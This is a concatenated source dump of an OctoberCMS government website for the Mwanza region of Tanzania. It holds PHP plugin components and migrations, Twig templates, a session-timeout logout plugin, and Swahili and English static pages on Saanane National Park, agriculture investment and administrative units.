$this->page['detailsKeyColumn'] = $this->property('detailsKeyColumn'); $this->detailsUrlParameter = $this->page['detailsUrlParameter'] = $this->property('detailsUrlParameter'); $detailsPage = $this->property('detailsPage'); if ($detailsPage == '-') { $detailsPage = null; } $this->detailsPage = $this->page['detailsPage'] = $detailsPage; $welcomeNote = $this->property('welcomeNote'); if ($welcomeNote == '-') { $welcomeNote = null; } $this->welcomeNote = $this->page['welcomeNote'] = $welcomeNote; if (strlen($this->detailsPage)) { if (!strlen($this->detailsKeyColumn)) { throw new SystemException('The details key column should be set to generate links to the details page.'); } if (!strlen($this->detailsUrlParameter)) { throw new SystemException('The details page URL parameter name should be set to generate links to the details page.'); } } } } <file_sep>/themes/mikumi/pages/advertisements.htm title = "Advertisements" url = "/advertisements" layout = "right-sidebar" description = "View all advertisements" is_hidden = 0 [AdvertisementsList] noRecordsMessage = "No records found" detailsPage = "-" viewAll = "-" detailsUrlParameter = "id" pageNumber = "{{ :page }}" == {% set advertisements = Advertisement.advertisements %} {% set noRecordsMessage = Advertisement.noRecordsMessage %} {% set detailsPage = Advertisement.detailsPage %} {% set viewAll = Advertisement.viewAll %} {% set detailsKeyColumn = Advertisement.detailsKeyColumn %} {% set detailsUrlParameter = Advertisement.detailsUrlParameter %} <div class="col-md-9 col-sm-9"> <!--START RIGHT SIDEBAR CONTENTE SECTION--> <div class="right-sidebar-content div-match-height"> <h1 class="page-title">{{ 'Advertisements'|_ }}</h1> <ul class="publications-listing press-release howdoi"> {% for advertisement in advertisements %} <li> {# Use spaceless tag to remove spaces inside the A tag. #} {% spaceless %} {% if detailsPage %} <a href="{{ detailsPage|page({ (detailsUrlParameter): attribute(advertisement, detailsKeyColumn) }) }}"> {% endif %} <p>{{ advertisement.title }}</p> </a> <span>{{ advertisement.published_date|date("-F d, Y") }}</span> {% endspaceless %} </li> {% else %} <li class="no-data">{{ noRecordsMessage }}</li> {% endfor %} </ul> <nav class="text-center"> {% if advertisements.lastPage > 1 %} <ul class="pagination"> {% if advertisements.currentPage > 1 %} <li><a href="{{ this.page.baseFileName|page({ (pageParam): (advertisements.currentPage-1) }) }}">&larr; Prev</a></li> {% endif %} {% for page in 1..advertisements.lastPage %} <li class="{{ advertisements.currentPage == page ? 'active' : null }}"> <a href="{{ this.page.baseFileName|page({ (pageParam): page }) }}">{{ page }}</a> </li> {% endfor %} {% if advertisements.lastPage > advertisements.currentPage %} <li><a href="{{ this.page.baseFileName|page({ (pageParam): (advertisements.currentPage+1) }) }}">Next &rarr;</a></li> {% endif %} </ul> {% endif %} </nav> </div> <!-- /.right-sidebar-content --> <!--/END RIGHT SIDEBAR CONTENTE SECTION--> </div><file_sep>/web/themes/mikumi/content/static-pages/saa-nane-national-park.htm [viewBag] title = "Saa nane National Park" url = "/saa-nane-national-park" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 == <h1>&nbsp;Hifadhi ya Taifa ya Saanane&nbsp;</h1> <p><strong>Hii ndio hifadhi iliyo ndogo kuliko zote nchini Tanzania na Afrika ya mashariki</strong>.Jina la hifadhi ya Taifa ya kisiwa cha saa Nane kinachopatikana katika ziwa Victoria katika mkoa wa Mwanza kimetokana na mtanzania aliyekuwa mvuvi na mmiliki wa kisiwa hiki <strong>aliyejulikana kama Mzee saa Nane Chawandi ambaye aliachia eneo hili la kisiwa kwa serikali ya Tanzania baada &nbsp;ya yeye mzee saa Nane Chawandi kufidiwa gharama za eneo lake na serikali katika miaka ya 1960.</strong> <br>Mara moja serikali ya Tanzania ikalianzisha eneo hili la kisiwa kama bustani ya Wanyamapori ya kwanza kabisa nchini Tanzania katika mwaka wa <strong>1964.</strong>Malengo ya serikali ya wakati wa kipindi kile ilikuwa ni kuendeleza uhifadhi endelevu wa eneo lenyewe pamoja na kuhamasisha na kuelimisha elimu ya utalii na mazingira kwa watanzania wenyewe na wageni kutoka nje ya nchi lakini vilevile ilikuwa na kutoa burudani kwa wakazi wa mji na mkoa wa mwanza na sehemu nyinginezo za mbali.</p> <p><strong>HISTORIA YAKE</strong> <br>Kati ya mwaka <strong>1964 mpaka 1966</strong> shirika la hifadhi za Taifa nchini Tanzania liliwasafirisha na kuwaleta wanyamapori wa aina mbalimbali katika kisiwa hiki cha saa nane kutoka katika maeneo mbalimbali ya uhifadhi nchini Tanzania.Wanyamapori hawa ilikuwa pamoja na nyati(mbogo),pongo,digidigi au saruya,Tembo(ndovu),pofu, swala pala,Faru,nyamera,ngiri pamoja na nyumbu.Wanyamapori wengineo ni pamoja na pundamilia,nyani,twiga,nungunungu pamoja na mamba.<strong>Ikumbukwe na ieleweke ya kwamba hii ndio hifadhi ya pili inayopatikana katika ziwa Victoria katika mkoa wa mwanza baada ya hifadhi ya Taifa ya visiwa vya Rubondo ambavyo navyo pia vinapatikana katika mkoa wa Mwanza.</strong></p> <p><strong>MAANDALIZI YA USAFIRI:</strong> <br>Mipango na utaratibu wa safari ya matembezi ya kutembelea kisiwa cha saa Nane kwa njia ya usafiri wa majini wa boti zenye injini huandaliwa kwa kutoa taarifa katika makao makuu ya hifadhi ya Taifa ya kisiwa cha saa Nane <strong>yanayopatikana capri point katika wilaya ya nyamagana.</strong></p> <p align="justify"><strong>KUANZISHWA KWAKE:</strong> <br>Hifadhi hii ya Taifa ya kisiwa cha saa Nane <strong>imeanzishwa mwaka 2012 baada ya kupitishwa na kudhibitishwa na sheria za bunge la Tanzania katika mwezi oktoba,2012.</strong></p> <p align="justify"><strong>ENEO LAKE:</strong> <br>Mpaka hivi sasa hifadhi hii ya Taifa ya kisiwa cha saa Nane ina ukubwa wa eneo la kilomita za mraba &nbsp;<strong>0 nukta 7</strong> ambapo inajumuisha kwa pamoja eneo la nchi kavu na majini.Lakini hata hivyo katika mipango ya baadaye ya kuliongeza eneo hili ukubwa wake Itahusisha visiwa viwili vidogo vya Chankende kubwa na chankende ndogo katika upande wa kusini kijiografia na kulifanya eneo hili la kisiwa cha saa Nane kufikia ukubwa wa kilomita za mraba <strong>1nukta 32.&nbsp;</strong>Ikumbukwe na ieleweke ya kwamba hii ndio hifadhi pekee iliyo ndogo nchini Tanzania na Afrika ya mashariki kwa hivi sasa.</p> <p align="justify"> <br> </p> <p align="justify"><img class="fr-dib fr-draggable" src="/storage/app/media/uploaded-files/SAANANE%20IMAGE.jpg" style="width: 542px; height: 359.527px;" data-result="success"></p> <p> <br> </p><file_sep>/web/themes/mikumi/content/static-pages-en/agriculture.htm [viewBag] == <p>The agriculture sector, as a whole in Tanzania has an annual growth rate of 6% and accounts for nearly half the GDP contribution, 70% of the rural household income, and absorbs 80% of the entire workforce. (TIC Investment Profile 2013-14). Suffice it to say that agriculture is the main investment opportunity in Mwanza region. The Government has introduced a specialist agricultural revolution initiative namely <NAME> which has opened up infinite investment opportunities for interested parties.Additionally, several reforms have been undertaken in this sector such as a review of land laws to allow for long term leases for foreign companies and redefining the role of government and private sector that allow for the latter to participate in production, processing, and public support functions. Mwanza has enormous water resources potential; with 53.25% of its area being lake Victoria. Water for irrigation can be obtained from the lake and from the river basins that feed into the lake.Potential land under irrigation in Mwanza is approximately 39411 hectares of which only 1,429 (3.93%) hectares are under irrigation farming at present . This provides for high agricultural investment opportunities such as importing modern and efficient farming equipment, providing training on modern farming techniques eg. appropriate use of irrigation technology, and &nbsp;initiation of modernized irrigation farming projects.</p> <p><strong>Reasons for investment</strong></p> <p>• &nbsp; The presence of an investment profile that highlights opportunities in Mwanza.•Market opportunity: with a &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rapidly &nbsp;growing population and rising incomes, the market for agricultural produce in Tanzania is estimated at &nbsp; &nbsp; &nbsp; &nbsp;6% p.a</p> <p>.• &nbsp; Mwanza’s competitive advantage - it lies in ideal soils for cotton production horticulture, ample rainfall and &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; water for irrigation, and a large and inexpensive labour force.</p> <p><strong>Irrigation Farming</strong></p> <p>Investments opportunities lie in introducing irrigation schemes as there is plenty of water from the lake and from ponds along the available numerous river valleys in the Region. As mentioned earlier only 3.93% of the total irrigable land is presently being utilized. In Mwanza, about 94 Ha is available for irrigation farming for small scale farming. These unimproved irrigations schemes are in Kwimba District Council at Kimiza and Mahiga. With suitable weather conditions -bimodal rainfall (Between 700-1200mm) per year and temperatures between 25o – 28oC, an ample opportunity is provided for agricultural production. Further, the Mwanza enjoys the Lake Victoria and Simiyu River water bodies’ hence agricultural production can be carried throughout the year.&nbsp;</p> <p><strong>Horticulture</strong></p> <p>The horticultural industry is the fastest growing industry in Tanzania within the agricultural sector recording an annual average growth of 9-12 percent. Contribution of the investments in horticultural businesses to total agricultural investments has averaged 17 percent since 2007 . &nbsp;A number of investors are already engaged in the production and marketing of horticultural crops mainly for export markets. These crops include vegetables and flowers such as roses and fruits such as avocados, Mangoes, pineapples and berries &nbsp; &nbsp;In Mwanza, about 140,000 Ha along Lake Victoria (in Nyamagana, Ilemela, Kwimba, Magu, Sengerema, Ukerewe and Misungwi.) is suitable for horticultural crop production particularly through Green house farming for vegetables such as tomatoes, onion, carrot, cabbages, green and chillies.</p><file_sep>/web/plugins/gwf/advertisements/updates/builder_table_create_gwf_advertisements_advertisements.php <?php namespace Gwf\Advertisements\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfAdvertisementsAdvertisements extends Migration { public function up() { Schema::create('gwf_advertisements_advertisements', function($table) { $table->engine = 'InnoDB'; $table->increments('id')->unsigned(); $table->string('title', 250); $table->text('content'); $table->date('created_at'); }); } public function down() { Schema::dropIfExists('gwf_advertisements_advertisements'); } } <file_sep>/web/plugins/renatio/logout/middleware/ValidateSession.php <?php namespace Renatio\Logout\Middleware; use Backend\Facades\Backend; use Backend\Facades\BackendAuth; use Closure; use Flash; use Illuminate\Session\Store; use Renatio\Logout\Models\Settings; /** * Class ValidateSession * @package Renatio\Logout\Middleware */ class ValidateSession { /** * @var Store */ protected $session; /** * @var */ protected $settings; /** * @param Store $session */ public function __construct(Store $session) { $this->session = $session; $this->settings = Settings::instance(); } /** * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { if ($this->isBackendRequest($request) && ! $this->isValidSession()) { return $this->forceLogout(); } return $next($request); } /** * @param $request * @return bool */ protected function isBackendRequest($request) { return str_contains($request->url(), config('cms.backendUri')); } /** * @return bool */ protected function isValidSession() { $bag = $this->session->getMetadataBag(); $lifetime = $this->getSessionLifetimeInSeconds(); return $bag && ($lifetime > time() - $bag->getLastUsed()); } /** * @return mixed */ protected function forceLogout() { BackendAuth::logout(); Flash::warning(e(trans('renatio.logout::lang.message.logout'))); return Backend::redirectGuest('backend/auth'); } /** * @return int */ protected function getSessionLifetimeInSeconds() { return $this->settings->lifetime * 60 - 1; } }<file_sep>/web/plugins/gwf/events/updates/builder_table_update_gwf_events_events_7.php <?php namespace Gwf\Events\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfEventsEvents7 extends Migration { public function up() { Schema::table('gwf_events_events', function($table) { $table->time('event_length')->nullable()->change(); }); } public function down() { Schema::table('gwf_events_events', function($table) { $table->time('event_length')->nullable(false)->change(); }); } } <file_sep>/gulpfile.js var elixir = require('laravel-elixir'); require('laravel-elixir-livereload'); elixir.config.assetsPath = 'themes/mikumi/assets'; elixir.config.publicPath = 'themes/mikumi/assets/'; elixir(function(mix){ mix.sass('master.scss'); //TODO: this will be in a next version // mix.scripts([ // 'jquery.min.js', // 'bootstrap.min.js', // 'matchHeight.min.js', // 'placeholder.min.js', // 'easing.min.js', // 'smartmenu.min.js', // 'jquery.lazyload.min.js', // 'smartmenu.bootstrap.min.js', // 'magnific-popup.min.js', // 'moment.min.js', // 'jquery.nice-select.min.js', // 'fastclick.min.js', // 'prism.min.js' // ]); mix.livereload([ 'themes/mikumi/assets/css/master.css', 'themes/mikumi/**/*.htm', 'themes/mikumi/assets/js/*.js' ]); // mix.browserSync({ // proxy: 'localhost/lga/gwf', // browser: 'chrome' // }); }); //TODO // Setting bower to pick core files from root and sent them inside assets folder<file_sep>/web/plugins/renatio/logout/classes/MiddlewareRegistration.php <?php namespace Renatio\Logout\Classes; use Renatio\Logout\Middleware\ValidateSession; /** * Class MiddlewareRegistration * @package Renatio\Logout\Classes */ class MiddlewareRegistration { /** * Register ValidateSession Middleware */ public function register() { $kernel = app()->make('Illuminate\Contracts\Http\Kernel'); $kernel->pushMiddleware(ValidateSession::class); } }<file_sep>/web/plugins/gwf/relatedlink/updates/builder_table_create_gwf_relatedlink_related_links.php <?php namespace gwf\Relatedlink\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfRelatedlinkRelatedLinks extends Migration { public function up() { Schema::create('gwf_relatedlink_related_links', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('title', 255); $table->string('url', 255); $table->boolean('activation_status'); $table->date('created_at'); $table->date('update_at'); }); } public function down() { Schema::dropIfExists('gwf_relatedlink_related_links'); } } <file_sep>/web/plugins/gwf/projectandinvestment/Plugin.php <?php namespace gwf\projectandinvestment; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Projectandinvestment\Components\Projectandinvestmentlist' => 'Projectandinvestmentlist', 'Gwf\Projectandinvestment\Components\Singleproject' => 'Singleproject', 'Gwf\Projectandinvestment\Components\Categoryprojects' => 'Categoryprojects' ]; } } //public function registerSettings() // { <file_sep>/web/plugins/gwf/economicactivities/controllers/EconomicActivitiesController.php <?php namespace Gwf\EconomicActivities\Controllers; use Backend\Classes\Controller; use BackendMenu; class EconomicActivitiesController extends Controller { public $implement = ['Backend\Behaviors\ListController','Backend\Behaviors\FormController','Backend\Behaviors\ReorderController']; public $listConfig = 'config_list.yaml'; public $formConfig = 'config_form.yaml'; public $reorderConfig = 'config_reorder.yaml'; public function __construct() { parent::__construct(); BackendMenu::setContext('Gwf.EconomicActivities', 'activity-menu-item'); } }<file_sep>/web/plugins/gwf/publication/components/PublicationDetails.php <?php namespace Gwf\Publication\Components; use Lang; use Cms\Classes\ComponentBase; use RainLab\Builder\Classes\ComponentHelper;; use SystemException; use Gwf\Publication\Models\Publication; use Gwf\Publication\Models\Publicationcategory; /*use Illuminate\Pagination\LengthAwarePaginator;*/ use Illuminate\Pagination\Paginator; class PublicationDetails extends ComponentBase { /** * A model instance to display * @var \October\Rain\Database\Model */ public $publication; public $recordsPerPage; /** * Message to display if the record is not found. * @var string */ public $notFoundMessage; /** * Model column to display on the details page. * @var string */ public $displayColumn; /** * Model column to use as a record identifier for fetching the record from the database. * @var string */ public $modelKeyColumn; /** * Identifier value to load the record from the database. * @var string */ public $identifierValue; public $publicationcat_title; public function componentDetails() { return [ 'name' => 'Publications list', 'description' => 'List of publications for a specific category' ]; } // // Properties // public function defineProperties() { return [ /* 'modelClass' => [ 'title' => 'rainlab.builder::lang.components.details_model', 'type' => 'dropdown', 'showExternalParam' => false ],*/ 'identifierValue' => [ 'title' => 'rainlab.builder::lang.components.details_identifier_value', 'description' => 'rainlab.builder::lang.components.details_identifier_value_description', 'type' => 'string', 'default' => '{{ :id }}', 'validation' => [ 'required' => [ 'message' => Lang::get('rainlab.builder::lang.components.details_identifier_value_required') ] ] ], 'modelKeyColumn' => [ 'title' => 'rainlab.builder::lang.components.details_key_column', 'description' => 'rainlab.builder::lang.components.details_key_column_description', 'type' => 'autocomplete', 'default' => 'id', 'validation' => [ 'required' => [ 'message' => Lang::get('rainlab.builder::lang.components.details_key_column_required') ] ], 'showExternalParam' => false ], 'notFoundMessage' => [ 'title' => 'rainlab.builder::lang.components.details_not_found_message', 'description' => 'rainlab.builder::lang.components.details_not_found_message_description', 'default' => Lang::get('rainlab.builder::lang.components.details_not_found_message_default'), 'type' => 'string', 'showExternalParam' => false ], 'recordsPerPage' => [ 'title' => 'rainlab.builder::lang.components.list_records_per_page', 'description' => 'rainlab.builder::lang.components.list_records_per_page_description', 'type' => 'string', 'validationPattern' => '^[0-9]*$', 'validationMessage' => 'rainlab.builder::lang.components.list_records_per_page_validation', 'group' => 'rainlab.builder::lang.components.list_pagination' ], 'pageNumber' => [ 'title' => 'rainlab.builder::lang.components.list_page_number', 'description' => 'rainlab.builder::lang.components.list_page_number_description', 'type' => 'string', 'default' => '{{ :page }}', 'group' => 'rainlab.builder::lang.components.list_pagination' ], ]; } public function getModelClassOptions() { return ComponentHelper::instance()->listGlobalModels(); } public function getDisplayColumnOptions() { return ComponentHelper::instance()->listModelColumnNames(); } public function getModelKeyColumnOptions() { return ComponentHelper::instance()->listModelColumnNames(); } // // Rendering and processing // public function onRun() { $this->prepareVars(); $this->publication = $this->loadPublication(); } protected function prepareVars() { $this->notFoundMessage = $this->page['notFoundMessage'] = Lang::get($this->property('notFoundMessage')); $this->modelKeyColumn = $this->page['modelKeyColumn'] = $this->property('modelKeyColumn'); $this->identifierValue = $this->page['identifierValue'] = $this->property('identifierValue'); $this->publicationcat_title = $publication_cat = Publicationcategory::where('slug',$this->identifierValue)->first()->title; if (!strlen($this->modelKeyColumn)) { throw new SystemException('The model key column name is not set.'); } } protected function loadPublication() { $recordsPerPage = trim($this->property('recordsPerPage')); if (!strlen($recordsPerPage)) { // Pagination is disabled - return all records $publication_cat = Publicationcategory::where($this->modelKeyColumn, $this->identifierValue)->first()->id; return Publication::where('publicationcategory_id', '=', $publication_cat)->orderby('id','DESC')->get(); /* return Publication::get();*/ } /* $recordsPerPage = trim($this->property('recordsPerPage')); if (!preg_match('/^[0-9]+$/', $recordsPerPage)) { throw new SystemException('Invalid records per page value.'); } $pageNumber = trim($this->property('pageNumber')); if (!strlen($pageNumber) || !preg_match('/^[0-9]+$/', $pageNumber)) { $pageNumber = 1; } if (!strlen($this->identifierValue)) { return; }*/ $publication_cat = Publicationcategory::where($this->modelKeyColumn, $this->identifierValue)->first()->id; $publication = Publication::where('publicationcategory_id', '=', $publication_cat)->orderby('id','DESC')->paginate($recordsPerPage); return $publication; } }<file_sep>/web/plugins/gwf/publication/models/Publication.php <?php namespace gwf\Publication\Models; use Model; use gwf\Publication\Models\Publicationcategory; /** * Model */ class Publication extends Model { use \October\Rain\Database\Traits\Validation; use \October\Rain\Database\Traits\Sluggable; /* * Validation */ public $rules = [ 'title' => 'required', 'publicationcategory_id' => 'required', 'document_link' => 'required' ]; public $implement =['RainLab.Translate.Behaviors.TranslatableModel']; public $translatable = ['title']; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = true; /** * @var string The database table used by the model. */ public $table = 'gwf_publication_publications'; protected $slugs = ['slug' => 'title']; public function categories() { return $this->belongsTo('gwf\Publication\Models\Publicationcategory','publicationcategory_id','id'); } public $hasOne = [ 'my_relation' => [ 'gwf\Publication\Models\Publicationcategory', 'key' => 'id', // key of the B class (B.id) 'otherKey' => 'publicationcategory_id' // column of the A model that references B (A.model_b_id) ] ]; public function getPublicationcategoryIdOptions() { return Publicationcategory::where('status',1)->lists('title','id'); } public $attachOne=[ 'document_link' => 'System\Models\File' ]; }<file_sep>/plugins/gwf/publication/Plugin.php <?php namespace gwf\Publication; use System\Classes\PluginBase; use gwf\publication\models\Publication; use System\Models\File; class Plugin extends PluginBase { public function pluginDetails() { return [ 'name' => 'gwf.publication::lang.plugin.name', 'description' => 'gwf.publication::lang.plugin.description', 'author' => '<NAME>', 'icon' => 'oc-icon-file-powerpoint-o', 'homepage' => '' ]; } public function registerComponents() { return [ 'Gwf\Publication\Components\PublicationList' => 'publicationList', 'Gwf\Publication\Components\PublicationDetails' => 'PublicationDetails', 'Gwf\Publication\Components\Publications' => 'Publications' ]; } public function registerSettings() { } public function boot() { \Event::listen('offline.sitesearch.query', function ($query) { // Search your plugin's contents $items = Publication::where('title', 'like', "%${query}%") //->orWhere('content', 'like', "%${query}%") ->get(); // Now build a results array $results = $items->map(function ($item) use ($query) { // If the query is found in the title, set a relevance of 2 $relevance = mb_stripos($item->title, $query) !== false ? 2 : 1; return [ 'title' => $item->title, 'text' => $item->content, 'url' => $item->document_link->path, /* 'thumb' => $item->document_link.path,*/ // Instance of System\Models\File 'relevance' => $relevance, // higher relevance results in a higher // position in the results listing // 'meta' => 'data', // optional, any other information you want // to associate with this result ]; }); return [ 'provider' => 'Publications', // The badge to display for this result 'results' => $results, ]; }); } public function get_file_name_byID($id) { return File::where('attachment_id', $id)->first(); } } <file_sep>/themes/mikumi/content/static-pages/epicor.htm [viewBag] title = "EPICOR" url = "/epicor" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 ==<file_sep>/plugins/gwf/complains/models/Complain.php <?php namespace gwf\Complains\Models; use Model; use BackendAuth; /** * Model */ class Complain extends Model { use \October\Rain\Database\Traits\Validation; use \October\Rain\Database\Traits\Sluggable; /* * Validation */ public $rules = [ ]; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = false; protected $slugs=['slug'=>'title' ]; /** * @var string The database table used by the model. */ public $table = 'gwf_complains_'; public function beforeSave() { // $this->recorder=BackendAuth::getUser()->id; $this->recorder = 1; } public $attachMany = [ 'attachments'=>'System\Models\File' ]; } <file_sep>/web/plugins/gwf/contactus/models/Contactus.php <?php namespace Gwf\Contactus\Models; use Model; use BackendAuth; /** * Model */ class Contactus extends Model { use \October\Rain\Database\Traits\Validation; use \October\Rain\Database\Traits\Sluggable; /* * Validation */ public $rules = [ 'physical_address' => 'required', 'post_address' => 'required', 'email' => 'required', 'phone' => 'required' ]; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = false; protected $slugs = ['slug' => 'physical_address']; public $attachOne = [ 'location_map' => 'System\Models\File', ]; /** * @var string The database table used by the model. */ public $table = 'gwf_contactus_contactus'; public function beforeSave() { $user = BackendAuth::getUser(); $this->user_id = $user->id; } }<file_sep>/web/plugins/gwf/relatedlink/components/RelatedlinkList.php <?php namespace Gwf\Relatedlink\Components; use Lang; use Cms\Classes\ComponentBase; use Gwf\Relatedlink\Models\Relatedlink; class RelatedlinkList extends ComponentBase { public $relatedlinks; public function componentDetails() { return [ 'name' => 'Relatedlink List', 'description' => 'List of Relatedlink' ]; } public function onRun(){ $this->relatedlinks = $this->loadRelatedlink(); } protected function loadRelatedlink(){ return Relatedlink::where('activation_status', 1)->get(); } } <file_sep>/web/themes/mikumi/layouts/simple-page.htm description = "Simple Page" [localePicker] forceUrl = 0 [staticPage] == {% partial 'header' %} {% partial 'nav' %} <!-- MIDDLE CONTENT --> <div class="middle-content-wrapper"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="wrapper"> <div class="col-md-9 col-sm-12 col-xs-12"> <!--START RIGHT SIDEBAR CONTENTE SECTION--> <div class="right-sidebar-content div-match-height"> <h1 class="page-title">{{ this.page.title|_ }}</h1> {% component 'staticPage' %} </div> <!-- /.right-sidebar-content --> <!--/END RIGHT SIDEBAR CONTENTE SECTION--> </div> <!-- /.middle-content-wrapper --> <!--/MIDDLE CONTENT--> {% partial 'right-sidebar' %} </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> {% partial 'footer' %}<file_sep>/web/plugins/gwf/news/updates/builder_table_update_gwf_news_news.php <?php namespace Gwf\News\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfNewsNews extends Migration { public function up() { Schema::table('gwf_news_news', function($table) { $table->string('title', 255)->change(); $table->string('slug', 255)->change(); }); } public function down() { Schema::table('gwf_news_news', function($table) { $table->string('title', 250)->change(); $table->string('slug', 250)->change(); }); } } <file_sep>/themes/mikumi/content/static-pages-sw/legal.htm [viewBag] == <p><span lang="EN-GB"><strong>Objective</strong></span></p> <p><span lang="EN-GB">To provide legal expertise and services to the RS.</span></p> <p><span lang="EN-GB">The activities of the Unit are:-</span></p> <ol> <li><span lang="EN-GB">Provide legal advice and assistance to the RS and LGAs on the interpretation of laws, contract, agreements, guarantees, memorandum of understanding, consultancy agreement and other legal documents in liaison with the PMO – RALG Director of Legal Services and Attorney General Chamber;</span></li> <li><span lang="EN-GB">Provide legal advice to the RS and LGAs in liaison with the PMO – RALG Director of Legal Services and Attorney General Chamber;</span></li> <li><span lang="EN-GB">Participate to various negotiations and meetings that call for legal expertise in liaison with the PMO – RALG Director of Legal Services and Attorney General Chamber;</span></li> <li><span lang="EN-GB">Translate legislations within the RS in liaison with the PMO – RALG Director of Legal Services and Attorney General Chamber;</span></li> <li><span lang="EN-GB">Liaise with the PMO – RALG Director of Legal Services and the Office of Attorney General Chamber on litigation of Civil cases and other claim involving the RS and LGAs; and</span></li> <li><span lang="EN-GB">Prepare and review various legal instruments such as Contracts, memorandum of understanding, orders, notices, certificates, agreements and Transfer deeds the PMO – RALG Director of Legal Services.</span><span lang="EN-GB"><span>&nbsp;</span>This Unit is led by Principal Legal Officer.</span> </li> </ol><file_sep>/web/themes/selous/pages/how-do-i.htm title = "How Do I" url = "/how-do-i" layout = "right-sidebar" description = "A page to display how do i" is_hidden = 0 == <!-- MIDDLE CONTENT --> <div class="middle-content-wrapper right-sidebar-aligner"> <h1 class="home-content-title">{% if this.page.title %}{{ this.page.title}}{% endif %}</h1> <hr class="home-content-hr"> <!--START MAIN CONTENT--> <div class="right-sidebar-main-content"> <!-- ul.announcements-listing>li*6>.calender-date>span.calender-month{Jan}+.calender-day{01}^.meta-content>h4>lorem15^+a[href="single-announcement.html"]{read more}|c --> <ul class="announcements-listing"> <li> <!-- /.calender-date --> <div class="meta-content"> <a href="right-sidebar.html">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Nam, sit dolor natus!</a> </div> <!-- /.meta-content --> </li> <li> <!-- /.calender-date --> <div class="meta-content"> <a href="right-sidebar.html">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Tempore error unde excepturi!</a> </div> <!-- /.meta-content --> </li> <li> <!-- /.calender-date --> <div class="meta-content"> <a href="right-sidebar.html">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Nemo, culpa eveniet tempore.</a> </div> <!-- /.meta-content --> </li> <li> <!-- /.calender-date --> <div class="meta-content"> <a href="right-sidebar.html">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dolores, impedit nam ratione.</a> </div> <!-- /.meta-content --> </li> <li> <!-- /.calender-date --> <div class="meta-content"> <a href="right-sidebar.html">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime, nobis! Sint!</a> </div> <!-- /.meta-content --> </li> <li> <!-- /.calender-date --> <div class="meta-content"> <a href="right-sidebar.html">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quam impedit placeat saepe.</a> </div> <!-- /.meta-content --> </li> <li> <!-- /.calender-date --> <div class="meta-content"> <a href="right-sidebar.html">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Natus, veniam, maxime. Ut.</a> </div> <!-- /.meta-content --> </li> <li> <!-- /.calender-date --> <div class="meta-content"> <a href="right-sidebar.html">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Molestiae in corporis omnis!</a> </div> <!-- /.meta-content --> </li> </ul> <!-- /.announcements-listing --> <nav class="text-center"> <ul class="pagination"> <li> <a href="#" aria-label="Previous"> <span aria-hidden="true">&laquo;</span> </a> </li> <li class="active"><a href="#">1</a></li> <li><a href="#">2</a></li> <li><a href="#">3</a></li> <li><a href="#">4</a></li> <li><a href="#">5</a></li> <li> <a href="#" aria-label="Next"> <span aria-hidden="true">&raquo;</span> </a> </li> </ul> </nav> </div> <!-- /.right-sidebar-main-content --> <!--/END MAIN CONTENT--> </div> <!-- /.middle-content-wrapper --> <!--/MIDDLE CONTENT--><file_sep>/web/themes/mikumi/content/static-pages/kwimba-dc.htm [viewBag] title = "Kwimba dc" url = "/kwimba-dc" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 ==<file_sep>/web/plugins/renatio/logout/README.md # Logout plugin Automatically logout authenticated user after session timeout. Currently after successful sign in into backend area, user is logged in permanently. With this plugin you can specify how much time user can be logged in without performing any action. > This plugin requires **Stable** version of OctoberCMS. ## Future plans * Support for RainLab.User plugin # Documentation ## [Usage](#usage) {#usage} After installation plugin will register backend **User Session** settings position under **System** tab. There you can specify session lifetime in minutes. Default is 15 minutes. You can also enable/disable the counter located near user avatar image. This setting also allow plugin to logout user without refreshing the page. ## [Upgrade guide](#upgrade-guide) {#upgrade-guide} **From 1.0.2 to 2.0.0** Plugin requires **Stable** version of OctoberCMS. **From 2.0.0 to 2.0.1** Session lifetime setting was changed from seconds to minutes. ## [License](#license) {#license} OctoberCMS Logout Plugin is open-sourced software licensed under the MIT license.<file_sep>/web/themes/mikumi/content/static-pages-sw/infrastructure.htm [viewBag] == <p>SECTION YA MIUNDOMBINU</p> <p>Seksheni hii ina lengo la kutoa huduma za kitaalamu zinazohitajika kwa Mamlaka za Serikali za Mitaa katika kuendeleza Miundombinu na inaongozwa na Katibu Tawala Msaidizi ambaye anawajibika kwa Katibu Tawala wa Mkoa. <br> <br><strong>Majukumu ya Seksheni ya Miundombinu:</strong> <br>•Kuratibu utekelezaji wa Sera, Sheria, Kanuni na Viwango katika nyanja za Barabara, Majengo, Nishati, Upimaji, Ardhi na Mipangomiji <br>•Kuzijengea uwezo Mamlaka za Serikali za Mitaa katika nyanja za Barabara, Majengo, Nishati, Upimaji, Ardhi na Mipangomiji <br>•Kuwasiliana/kuwa daraja kuunganisha baina ya Mamlaka zinazohusika kwenye Serikali Kuu na Mamlaka za Serikali za Mitaa juu ya masuala ya Ujenzi <br>•Kushauri juu ya Masuala ya barabara, Nishati, Ujenzi, Viwanja na uboreshaji mifumo <br>•Kusimamia na kushauri juu ya kazi za Ujenzi zinazotekelezwa ndani ya Mkoa <br>•Kuzisaidia Mamlaka za Serikali za Mitaa kutwaa ardhi kwa ajili ya matumizi 